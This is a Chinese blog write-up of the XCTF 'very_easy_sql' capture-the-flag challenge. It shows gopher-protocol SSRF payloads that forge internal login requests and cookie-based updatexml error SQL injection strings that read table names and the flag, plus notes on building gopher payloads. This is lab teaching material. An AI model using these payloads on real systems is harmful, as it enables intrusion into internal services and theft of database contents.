XCTF-very_easy_sql

最新推荐文章于 2024-02-28 16:23:44 发布

永远是深夜有多好。

最新推荐文章于 2024-02-28 16:23:44 发布

阅读量370

点赞数 2

分类专栏： XCTF 文章标签：其他

本文链接：https://blog.csdn.net/qq_37370714/article/details/129953050

版权

XCTF 专栏收录该内容

27 篇文章 1 订阅

订阅专栏

XCTF-very_easy_sql

扩展

主页如下，注意有一个你不是内部用户的提示。
在这里插入图片描述
主页注释有一个user.php。

在这里插入图片描述

在这里插入图片描述
测试访问本地的127.0.0.1。

输入http://61.147.171.105:51039测试一下。

应该是过滤了某些东西，还记得首页你不是内部用户的提示么，SSRF就是用于当我们无法与内网目标直接请求通信，而可以利用web服务器来当作踏板，以web服务器的身份向内网目标交互，所以叫做server-side request forgery，服务端请求伪造。

判断web服务器是否使用的80端口。
在这里插入图片描述

随意输入信息并使用burp suite抓包，并且构造好gopher。
在这里插入图片描述
注意我们要以web服务器的身份发送，所以应该是从127.0.0.1:80请求。

gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2023%0d%0a%0d%0auname=rick&passwd=morty%0d%0a

在这里插入图片描述

我们以rick:morty的身份登录，并且获得了一个Cookie。“Set-Cookie： PHPSESSID=gq8k1gbh9sp822ur2b0hpjnbk4”，很显然我们此用户貌似不是内网已有用户。尝试一下admin:admin、admin:qwerty等几个常见的密码账户，不行就暴力跑一下。使用admin:admin，记得Content-Length记得改。

gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2024%0d%0a%0d%0auname=admin%26passwd=admin%0d%0a

在这里插入图片描述
得到了一个cookie，this_is_your_cookie=YWRtaW4%3D。

在这里插入图片描述
这个admin是啥意思？根据题目描述大概率是sql注入点。加上Cookie: this_is_your_cookie=YWRtaW4n(admin’的base64编码)

看报错给的反馈是admin’)。

报错注入。
在这里插入图片描述

在这里插入图片描述

admin') and updatexml(1,(concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1)#

在这里插入图片描述
看到有一个flag表。

flag表里有一个flag字段。

admin') and updatexml(1,(concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='flag'))),1)#

在这里插入图片描述
查看flag。

显示不完全用substr分段读。前25个字符。

admin') and updatexml(1,(concat(0x7c,(substr((select flag from flag),1,25)))),1)#

在这里插入图片描述
后25个字符。

admin') and updatexml(1,(concat(0x7c,(substr((select flag from flag),26,50)))),1)#

在这里插入图片描述
拼接cyberpeace{73607790a96c63b371cc8015e48c9044}。我们已经完成了一次使用SSRF攻击内网的mysql服务攻击。

扩展

首先查看当前使用的curl能否支持gopher，使用curl --version。
在这里插入图片描述

gopher协议支持GET、POST请求。gopher协议格式是 gopher://host:port/_tcpStream。先模拟一个GET请求，gopher://127.0.0.1:4443/abcd，可以发现abcd只接收到了bcd，a不见了。在这里插入图片描述
因为使用gopher协议请求会吞掉第一个字符，所以用随意一个字符让它吃。

来用gopher get请求一下。

burp suite抓包看看请求。

筛选必要的请求头。

首先转化请求为url，并不是所有内容都要转化为url。
在这里插入图片描述
将回车换行符(\r\n)替换为%0d%0a。

去掉换行符。

这里搞忘把问号url编码了还有末尾添上%0d%0a用来表示http包请求的结束，补上。